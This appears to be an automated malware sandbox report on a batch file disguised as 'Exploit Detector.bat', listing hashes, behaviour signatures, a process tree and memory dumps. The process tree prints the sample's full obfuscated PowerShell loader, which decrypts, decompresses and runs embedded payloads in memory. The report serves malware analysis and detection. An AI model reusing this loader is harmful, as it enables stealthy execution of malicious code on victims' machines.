d1a6da3bb5b455c45056ff4b7e29270c29728e6e1add468a9a3e8ff88d6c3afb

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
10-11-2024 09:17

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General

Target

Exploit Detector.bat
Size

156KB
MD5

c88c0f71749f8575068070333359f5b5
SHA1

af3cbd68266ab3b90bef8db45f8e22e1f4d9d121
SHA256

d1a6da3bb5b455c45056ff4b7e29270c29728e6e1add468a9a3e8ff88d6c3afb
SHA512

da549a0f953591baf4021dfb09f6b3afc0ff93dc58c430b90688583c5c43808393506389d97668b5f5d923b8258154d0a66c7f33ddaef7667bbf05fb45ef2fa4
SSDEEP

3072:pvmWfV9iV9C860i3eCYGBZ/Mf89esLbgVQBF7t+a39Qn4bo:Rdf2+nRBCf89/LESJSko

Score

1^/10

Malware Config

Signatures

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2696	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2696	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2648 wrote to memory of 1912	2648	cmd.exe	31
PID 2648 wrote to memory of 1912	2648	cmd.exe	31
PID 2648 wrote to memory of 1912	2648	cmd.exe	31
PID 2648 wrote to memory of 2696	2648	cmd.exe	32
PID 2648 wrote to memory of 2696	2648	cmd.exe	32
PID 2648 wrote to memory of 2696	2648	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Exploit Detector.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2648
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('CaBNPFufqG/Ty3CUXy9EKmZ0sYpFg7Md+6rAZ0/TxhU='); $aes_var.IV=[System.Convert]::FromBase64String('S/RVoa3ixa8FZY/sBX5WEg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$hsUWk=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$yefxQ=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$duVIf=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($hsUWk, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $duVIf.CopyTo($yefxQ); $duVIf.Dispose(); $hsUWk.Dispose(); $yefxQ.Dispose(); $yefxQ.ToArray();}function execute_function($param_var,$param2_var){ IEX '$jXYNL=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$GLWuz=$jXYNL.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$GLWuz.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$AfZnh = 'C:\Users\Admin\AppData\Local\Temp\Exploit Detector.bat';$host.UI.RawUI.WindowTitle = $AfZnh;$BPwyt=[System.IO.File]::ReadAllText($AfZnh).Split([Environment]::NewLine);foreach ($MIYkU in $BPwyt) { if ($MIYkU.StartsWith('itiQGYtwhhNApDlOfuVM')) { $whOtj=$MIYkU.Substring(20); break; }}$payloads_var=[string[]]$whOtj.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
  2⤵
  PID:1912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2696

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/2696-4-0x000007FEF5ACE000-0x000007FEF5ACF000-memory.dmp

Filesize
4KB

Download
memory/2696-6-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download
memory/2696-5-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/2696-7-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/2696-8-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/2696-9-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/2696-10-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/2696-11-0x000007FEF5ACE000-0x000007FEF5ACF000-memory.dmp

Filesize
4KB

Download
memory/2696-12-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download